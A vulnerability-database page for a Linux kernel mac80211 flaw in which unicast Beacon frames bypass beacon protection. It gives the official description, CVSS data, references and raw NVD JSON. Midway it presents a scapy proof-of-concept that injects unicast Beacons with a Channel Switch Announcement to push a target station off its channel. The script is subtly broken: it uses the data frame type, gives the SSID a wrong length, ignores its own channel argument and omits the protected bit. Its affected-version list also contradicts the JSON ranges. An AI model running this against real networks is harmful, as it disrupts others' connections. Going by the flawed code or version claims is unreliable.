CVE-2025-71127

Description

In the Linux kernel, the following vulnerability has been resolved: wifi: mac80211: Discard Beacon frames to non-broadcast address Beacon frames are required to be sent to the broadcast address, see IEEE Std 802.11-2020, 11.1.3.1 ("The Address 1 field of the Beacon .. frame shall be set to the broadcast address"). A unicast Beacon frame might be used as a targeted attack to get one of the associated STAs to do something (e.g., using CSA to move it to another channel). As such, it is better have strict filtering for this on the received side and discard all Beacon frames that are sent to an unexpected address. This is even more important for cases where beacon protection is used. The current implementation in mac80211 is correctly discarding unicast Beacon frames if the Protected Frame bit in the Frame Control field is set to 0. However, if that bit is set to 1, the logic used for checking for configured BIGTK(s) does not actually work. If the driver does not have logic for dropping unicast Beacon frames with Protected Frame bit 1, these frames would be accepted in mac80211 processing as valid Beacon frames even though they are not protected. This would allow beacon protection to be bypassed. While the logic for checking beacon protection could be extended to cover this corner case, a more generic check for discard all Beacon frames based on A1=unicast address covers this without needing additional changes. Address all these issues by dropping received Beacon frames if they are sent to a non-broadcast address.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux kernel < 6.12 (with mac80211)

Stable kernel versions: 6.12.1 - 6.12.13

Longterm kernels: 6.6.67 - 6.6.86

Longterm kernels: 6.1.117 - 6.1.130

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
# CVE-2025-71127 PoC - Malicious Unicast Beacon Frame
# Note: This PoC is for educational/research purposes only

from scapy.all import Dot11, Dot11Beacon, Dot11Elt, RadioTap, sendp
import sys

def create_malicious_beacon(iface, bssid, target_mac, channel):
    """
    Create and send a malicious unicast Beacon frame
    to trigger CVE-2025-71127
    """
    # RadioTap header for 802.11 frame
    radiotap = RadioTap()
    
    # Create 802.11 Beacon frame with UNICAST A1 (receiver address)
    # This violates IEEE 802.11 which requires broadcast A1 for Beacons
    dot11 = Dot11(
        type=2,  # Management frame
        subtype=8,  # Beacon frame
        addr1=target_mac,  # UNICAST address (should be broadcast)
        addr2=bssid,
        addr3=bssid
    )
    
    # Beacon frame body
    beacon = Dot11Beacon(cap=0x2101)
    
    # SSID element
    ssid = Dot11Elt(ID=0, info=b"EvilNetwork", len=10)
    
    # Channel element - attacker-controlled channel
    channel_elt = Dot11Elt(ID=3, info=bytes([channel]))
    
    # CSA (Channel Switch Announcement) element
    # Attackers use this to force victim to switch channels
    csa_ie = Dot11Elt(ID=37, info=bytes([1, 11, 0]))  # channel 11
    
    # Construct the complete frame
    # Note: Real attack would set Protected Frame bit in Frame Control
    frame = radiotap / dot11 / beacon / ssid / channel_elt / csa_ie
    
    return frame

def main():
    if len(sys.argv) < 5:
        print(f"Usage: {sys.argv[0]} <interface> <attacker_bssid> <target_mac> <channel>")
        print("Example: python3 poc.py wlan0 00:11:22:33:44:55 aa:bb:cc:dd:ee:ff 11")
        sys.exit(1)
    
    iface = sys.argv[1]
    bssid = sys.argv[2]
    target_mac = sys.argv[3]
    channel = int(sys.argv[4])
    
    print(f"[*] Crafting malicious unicast Beacon frame")
    print(f"[*] BSSID: {bssid}")
    print(f"[*] Target: {target_mac}")
    print(f"[*] Forced Channel: {channel}")
    
    frame = create_malicious_beacon(iface, bssid, target_mac, channel)
    
    print(f"[*] Sending malicious Beacon frame...")
    sendp(frame, iface=iface, inter=0.1, count=10, verbose=1)
    
    print(f"[+] Attack completed")
    print("[!] If vulnerable, target may have switched to channel 11")

if __name__ == "__main__":
    main()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-71127
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-71127
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-71127/
[4] VulDB https://vuldb.com/cve/CVE-2025-71127
[5] https://git.kernel.org/stable/c/0a59a3895f804469276d188effa511c72e752f35
[6] https://git.kernel.org/stable/c/193d18f60588e95d62e0f82b6a53893e5f2f19f8
[7] https://git.kernel.org/stable/c/6e5bff40bb38741e40c33043ba0816fba5f93661
[8] https://git.kernel.org/stable/c/7b240a8935d554ad36a52c2c37c32039f9afaef2
[9] https://git.kernel.org/stable/c/88aab153d1528bc559292a12fb5105ee97528e1f
[10] https://git.kernel.org/stable/c/a21704df4024708be698fb3fd5830d5b113b70e0
[11] https://git.kernel.org/stable/c/be0974be5c42584e027883ac2af7dab5e950098c

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-71127", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-01-14T15:16:02.430", "lastModified": "2026-03-25T18:51:23.393", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: mac80211: Discard Beacon frames to non-broadcast address\n\nBeacon frames are required to be sent to the broadcast address, see IEEE\nStd 802.11-2020, 11.1.3.1 (\"The Address 1 field of the Beacon .. frame\nshall be set to the broadcast address\"). A unicast Beacon frame might be\nused as a targeted attack to get one of the associated STAs to do\nsomething (e.g., using CSA to move it to another channel). As such, it\nis better have strict filtering for this on the received side and\ndiscard all Beacon frames that are sent to an unexpected address.\n\nThis is even more important for cases where beacon protection is used.\nThe current implementation in mac80211 is correctly discarding unicast\nBeacon frames if the Protected Frame bit in the Frame Control field is\nset to 0. However, if that bit is set to 1, the logic used for checking\nfor configured BIGTK(s) does not actually work. If the driver does not\nhave logic for dropping unicast Beacon frames with Protected Frame bit\n1, these frames would be accepted in mac80211 processing as valid Beacon\nframes even though they are not protected. This would allow beacon\nprotection to be bypassed. While the logic for checking beacon\nprotection could be extended to cover this corner case, a more generic\ncheck for discard all Beacon frames based on A1=unicast address covers\nthis without needing additional changes.\n\nAddress all these issues by dropping received Beacon frames if they are\nsent to a non-broadcast address."}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nwifi: mac80211: Descartar tramas Beacon a direcciones que no son de difusión\n\nLas tramas Beacon deben ser enviadas a la dirección de difusión, véase IEEE Std 802.11-2020, 11.1.3.1 ('El campo Dirección 1 de la trama Beacon .. debe establecerse a la dirección de difusión'). Una trama Beacon unicast podría ser utilizada como un ataque dirigido para que una de las STA asociadas haga algo (por ejemplo, usando CSA para moverla a otro canal). Por lo tanto, es mejor tener un filtrado estricto para esto en el lado de recepción y descartar todas las tramas Beacon que se envían a una dirección inesperada.\n\nEsto es aún más importante para los casos en que se utiliza la protección de balizas. La implementación actual en mac80211 está descartando correctamente las tramas Beacon unicast si el bit de Trama Protegida en el campo de Control de Trama se establece en 0. Sin embargo, si ese bit se establece en 1, la lógica utilizada para verificar los BIGTK(s) configurados no funciona realmente. Si el controlador no tiene lógica para descartar tramas Beacon unicast con el bit de Trama Protegida en 1, estas tramas serían aceptadas en el procesamiento de mac80211 como tramas Beacon válidas aunque no estén protegidas. Esto permitiría que la protección de balizas fuera eludida. Aunque la lógica para verificar la protección de balizas podría extenderse para cubrir este caso particular, una verificación más genérica para descartar todas las tramas Beacon basada en A1=dirección unicast cubre esto sin necesidad de cambios adicionales.\n\nAbordar todos estos problemas descartando las tramas Beacon recibidas si se envían a una dirección que no es de difusión."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.7.1", "versionEndExcluding": "5.10.248", "matchCriteriaId": "6A9CED27-B3D5-4535-B0B0-17F31C408208"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.198", "matchCriteriaId": "82159CAA-B6BA-43C6-85D8-65BDBC175A7E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.160", "matchCriteriaId": "C10CC03E-16A9-428A-B449-40D3763E15F6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStar ... (truncated)